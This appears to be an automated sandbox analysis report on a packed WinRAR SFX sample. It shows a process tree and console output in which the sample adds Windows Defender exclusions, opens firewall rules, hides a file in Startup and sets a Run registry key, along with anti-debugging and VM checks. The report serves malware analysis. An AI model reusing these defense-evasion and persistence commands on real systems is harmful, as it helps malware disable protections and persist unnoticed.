Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Aug. 18, 2023, 7:33 a.m.	Aug. 18, 2023, 7:36 a.m.

Size	505.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`95d977a14fbc0eb268d4aae47bdb4dee`
SHA256	`cb4f7547c933b91f4bea866cf51f91762e67bb4e71893321f626ec7f7ec9f043`
CRC32	`9F45889E`
ssdeep	`12288:nRZ+IoG/n9IQxW3OBsemwxbJ+yEoYl15YtN6lM+MVavSiiBFzXEY:P2G/nvxW3WbNJFE3+bFfVavwfzXEY`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb
Yara	Win32_WinRAR_SFX_Zero - Win32 WinRAR SFX Malicious_Library_Zero - Malicious_Library OS_Processor_Check_Zero - OS Processor Check UPX_Zero - UPX packed file PE_Header_Zero - PE File Signature IsPE32 - (no description)

Al.exe "C:\Users\test22\AppData\Local\Temp\Al.exe"
416
- cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\HSTART.bat" "
  2144
  - wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\test22\AppData\Local\Temp\vbs.vbs"
    2232
    - cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\UuU.bat" "
      2360
      - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\U&U.exe"'
        2436
      - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\U&O.exe"'
        2520
      - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\U&U.exe"'
        2608
      - powershell.exe powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
        2736
        
        netsh.exe "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\U&U.exe" enable=yes
        2820
        
        netsh.exe "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\U&U.exe" enable=yes
        2888
        
        cmd.exe "C:\Windows\system32\cmd.exe"
        2956
        
        WMIC.exe wmic computersystem where name="TEST22-PC" set AutomaticManagedPagefile=False
        3004
        
        cmd.exe "C:\Windows\system32\cmd.exe"
        2116
        
        WMIC.exe wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        2312
        
        attrib.exe "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\U&U.exe"
        2456
      - U&U.exe "U&U.exe"
        2536
      - reg.exe REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "U&U" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\U&U.exe" /F
        2636

Name	Response	Post-Analysis Lookup
www.logpasta.com	A 188.166.57.133 CNAME logpasta.com	188.166.57.133

IP Address	Status	Action
164.124.101.2	Active	Moloch
188.166.57.133	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (37 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 7:34 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (10 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 18, 2023, 7:33 a.m.			0	0
IsDebuggerPresent Aug. 18, 2023, 7:33 a.m.			0	0
IsDebuggerPresent Aug. 18, 2023, 7:34 a.m.			0	0
IsDebuggerPresent Aug. 18, 2023, 7:34 a.m.			0	0
IsDebuggerPresent Aug. 18, 2023, 7:34 a.m.			0	0
IsDebuggerPresent Aug. 18, 2023, 7:34 a.m.			0	0
IsDebuggerPresent Aug. 18, 2023, 7:34 a.m.			0	0
IsDebuggerPresent Aug. 18, 2023, 7:34 a.m.			0	0
IsDebuggerPresent Aug. 18, 2023, 7:34 a.m.			0	0
IsDebuggerPresent Aug. 18, 2023, 7:34 a.m.			0	0

Command line console output was observed (50 out of 88 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: The system cannot find the file specified. console_handle: 0x00000007	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: 'U.exe' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: The batch file cannot be found. console_handle: 0x0000000b	1	1
WriteConsoleW Aug. 18, 2023, 7:33 a.m.	buffer: Add-MpPreference -ExclusionPath C:\Users\test22\AppData\Local\Temp\U&U.exe console_handle: 0x00000013	1	1
WriteConsoleW Aug. 18, 2023, 7:33 a.m.	buffer: Add-MpPreference -ExclusionPath C:\Users\test22\AppData\Local\Temp\U&O.exe console_handle: 0x00000013	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: Add-MpPreference -ExclusionPath C:\ProgramData\Microsoft\Windows\Start Menu\Pro console_handle: 0x00000013	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: grams\Startup\U&U.exe console_handle: 0x00000013	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Add.ps1:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft console_handle: 0x00000053	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: \Windows\Start Menu\Programs\StartUp" console_handle: 0x0000005f	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x000000a3	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x000000af	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x000000bb	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Add.ps1:2 char:17 console_handle: 0x000000c7	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + Add-MpPreference <<<< -ExclusionProcess "C:\ProgramData\Microsoft\Windows\St console_handle: 0x000000d3	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: art Menu\Programs\StartUp\U&U.exe" console_handle: 0x000000df	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x000000eb	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: mmandNotFoundException console_handle: 0x000000f7	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000103	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000123	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000012f	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000013b	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Add.ps1:3 char:17 console_handle: 0x00000147	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start console_handle: 0x00000153	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: Menu\Programs\StartUp\U&U.exe" console_handle: 0x0000015f	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000016b	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: mmandNotFoundException console_handle: 0x00000177	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000183	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: Move-Item : Cannot find path 'C:\Users\test22\AppData\Local\Temp\%temp%\U&U.exe console_handle: 0x00000023	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: ' because it does not exist. console_handle: 0x0000002f	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Add.ps1:11 char:10 console_handle: 0x0000003b	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + Move-Item <<<< -Path '%temp%\U&U.exe' -Destination 'C:\ProgramData\Microsoft console_handle: 0x00000047	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: \Windows\Start Menu\Programs\StartUp'; console_handle: 0x00000053	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + CategoryInfo : ObjectNotFound: (C:\Users\test22...\%temp%\U&U.e console_handle: 0x0000005f	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: xe:String) [Move-Item], ItemNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.MoveI console_handle: 0x00000077	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: temCommand console_handle: 0x00000083	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: The term '::ii' is not recognized as the name of a cmdlet, function, script fil console_handle: 0x000000a3	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: e, or operable program. Check the spelling of the name, or if a path was includ console_handle: 0x000000af	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: ed, verify that the path is correct and try again. console_handle: 0x000000bb	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Add.ps1:13 char:5 console_handle: 0x000000c7	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + ::ii <<<< "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"; console_handle: 0x000000d3	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: + CategoryInfo : ObjectNotFound: (::ii:String) [], CommandNotFoun console_handle: 0x000000df	1	1
WriteConsoleW Aug. 18, 2023, 7:34 a.m.	buffer: dException console_handle: 0x000000eb	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 171 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f800 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f940 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f940 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f940 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f140 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f140 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f140 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f140 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f140 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f140 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f940 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f940 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033f940 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fbc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fec0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fc80 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fd00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0033fd00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002bdc68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002bdce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002bdce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002bdce8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002be568 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002be568 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002be568 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002be568 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002be568 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 7:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002be568 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 18, 2023, 7:33 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.didat

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

PNG

One or more processes crashed (4 events)

Time & API	Arguments	Status
__exception__ Aug. 18, 2023, 7:34 a.m.	stacktrace: RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x754c374b CoReleaseServerProcess+0x73 OleSaveToStream-0xad ole32+0x64387 @ 0x75b94387 NdrpMemoryIncrement+0x3d1 NdrComplexStructMarshall-0x2f rpcrt4+0x1ef51 @ 0x754bef51 NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x754b6a9c NdrPointerMarshall+0xd6 NdrPointerBufferSize-0x10 rpcrt4+0x16b42 @ 0x754b6b42 NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x754b6a9c NdrConformantArrayFree+0x8c NdrOleFree-0xa rpcrt4+0x35c3a @ 0x754d5c3a NdrStubCall2+0x31d NdrUnmarshallBasetypeInline-0x23a rpcrt4+0xb06b8 @ 0x755506b8 WdtpInterfacePointer_UserUnmarshal+0x256f DllDebugObjectRPCHook-0x1e89 ole32+0x13d7e6 @ 0x75c6d7e6 WdtpInterfacePointer_UserUnmarshal+0x25ff DllDebugObjectRPCHook-0x1df9 ole32+0x13d876 @ 0x75c6d876 WdtpInterfacePointer_UserUnmarshal+0x2b59 DllDebugObjectRPCHook-0x189f ole32+0x13ddd0 @ 0x75c6ddd0 CoTaskMemFree+0x1b02 DcomChannelSetHResult-0x1c8 ole32+0x58a43 @ 0x75b88a43 CoTaskMemFree+0x19f7 DcomChannelSetHResult-0x2d3 ole32+0x58938 @ 0x75b88938 DcomChannelSetHResult+0x8ff CoGetObject-0x2183 ole32+0x5950a @ 0x75b8950a WdtpInterfacePointer_UserUnmarshal+0x2a56 DllDebugObjectRPCHook-0x19a2 ole32+0x13dccd @ 0x75c6dccd WdtpInterfacePointer_UserUnmarshal+0x28ca DllDebugObjectRPCHook-0x1b2e ole32+0x13db41 @ 0x75c6db41 WdtpInterfacePointer_UserUnmarshal+0x2f86 DllDebugObjectRPCHook-0x1472 ole32+0x13e1fd @ 0x75c6e1fd DcomChannelSetHResult+0x75c CoGetObject-0x2326 ole32+0x59367 @ 0x75b89367 DcomChannelSetHResult+0x71b CoGetObject-0x2367 ole32+0x59326 @ 0x75b89326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755f77c4 DispatchMessageW+0xf GetMessageW-0x58 user32+0x1788a @ 0x755f788a CoWaitForMultipleHandles+0x4311 CoRegisterSurrogateEx-0x2fe ole32+0x1a48b @ 0x75b4a48b CoWaitForMultipleHandles+0x23c1 CoRegisterSurrogateEx-0x224e ole32+0x1853b @ 0x75b4853b CoWaitForMultipleHandles+0x4332 CoRegisterSurrogateEx-0x2dd ole32+0x1a4ac @ 0x75b4a4ac CoGetTreatAsClass+0x2619 CoRegisterChannelHook-0x1269 ole32+0x2cd48 @ 0x75b5cd48 CoGetTreatAsClass+0x314b CoRegisterChannelHook-0x737 ole32+0x2d87a @ 0x75b5d87a BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 47903288 registers.edi: 3143636 registers.eax: 47903288 registers.ebp: 47903368 registers.edx: 49 registers.ebx: 47903652 registers.esi: 2147746133 registers.ecx: 2910368	1
